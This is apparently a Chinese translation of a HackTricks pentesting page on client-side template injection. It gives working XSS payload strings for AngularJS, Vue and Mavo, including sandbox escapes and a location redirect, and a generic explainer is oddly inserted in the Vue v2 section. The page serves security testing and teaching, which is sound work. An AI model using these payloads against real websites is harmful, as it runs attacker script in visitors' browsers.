hacktricks/pentesting-web/client-side-template-injection-csti.md
2023-08-03 19:12:22 +00:00

9.5 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

概要

这类似于服务器端模板注入ssti-server-side-template-injection/),但是在客户端中。SSTI可以让你在远程服务器上执行代码,而CSTI可以让你在受害者中执行任意的JavaScript代码。

测试这个漏洞的方法与SSTI的情况非常相似,解释器会期望在双大括号之间执行某些内容并执行它。例如,使用类似于{{ 7-7 }}的内容,如果服务器存在漏洞,你将看到一个0,如果没有漏洞,你将看到原始内容:{{ 7-7 }}

AngularJS

AngularJS是一个流行的JavaScript库它会扫描包含**ng-app属性也称为AngularJS指令的HTML节点的内容。当将指令添加到HTML代码中时你可以在双大括号中执行JavaScript表达式。
例如,如果你的
输入在HTML的body反射**并且body定义了ng-app<body ng-app>

你可以使用大括号在body添加任意的JavaScript代码

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

您可以在http://jsfiddle.net/2zs2yv7o/找到一个非常基本的在线示例,展示了AngularJS中的漏洞。

{% hint style="danger" %} Angular 1.6已移除了沙箱,因此从该版本开始,像{{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')>这样的有效载荷应该可以使用。 {% endhint %}

VueJS

您可以在https://vue-client-side-template-injection-example.azu.now.sh/找到一个易受攻击的vue.js实现。

有效载荷示例:https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

这里是易受攻击示例的源代码https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

一个关于VUE中CSTI的非常好的帖子可以在https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets找到

V3

{{_openBlock.constructor('alert(1)')()}}

V2

客户端模板注入 (Client-Side Template Injection)

在许多现代Web应用程序中客户端模板引擎被广泛使用来动态生成HTML页面。这些模板引擎允许开发人员将数据和模板结合起来以生成最终的HTML输出。然而如果不正确地使用或配置客户端模板引擎可能会导致安全漏洞其中最常见的是客户端模板注入Client-Side Template InjectionCSTI

什么是客户端模板注入?

客户端模板注入是一种攻击技术利用了客户端模板引擎的漏洞允许攻击者在Web应用程序的前端代码中执行任意代码。这种攻击通常发生在模板引擎使用用户提供的数据来生成HTML输出时。

如何利用客户端模板注入?

攻击者可以通过在用户输入中注入恶意模板代码来利用客户端模板注入漏洞。这些恶意模板代码将被模板引擎解析和执行,从而导致攻击者能够执行任意代码。

客户端模板注入的危害性

客户端模板注入漏洞可能导致以下危害:

  • 执行任意代码攻击者可以在受影响的Web应用程序上执行任意代码包括JavaScript代码。
  • 敏感信息泄露:攻击者可以访问和窃取应用程序中的敏感信息,如用户凭据、会话令牌等。
  • 跨站脚本攻击XSS攻击者可以注入恶意脚本从而导致XSS攻击。
  • 绕过安全控制:攻击者可以利用客户端模板注入漏洞绕过应用程序的安全控制,例如访问未授权的功能或执行未经授权的操作。

如何防御客户端模板注入?

要防御客户端模板注入漏洞,可以采取以下措施:

  • 输入验证和过滤:对用户输入进行严格的验证和过滤,以防止恶意模板代码的注入。
  • 安全配置:正确配置和使用模板引擎,避免将用户提供的数据直接传递给模板引擎。
  • 最小权限原则:将模板引擎的执行权限限制在最低限度,以减少潜在的攻击面。
  • 安全编码实践遵循安全编码实践如避免使用eval()函数和动态执行用户输入的代码。

结论

客户端模板注入是一种常见的Web应用程序安全漏洞可以导致严重的安全风险。开发人员和安全专业人员应该了解这种漏洞的工作原理并采取适当的防御措施来保护Web应用程序免受此类攻击。

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected 中查看更多VUE有效载荷

Mavo

有效载荷:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

更多有效载荷请参考 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

暴力检测列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥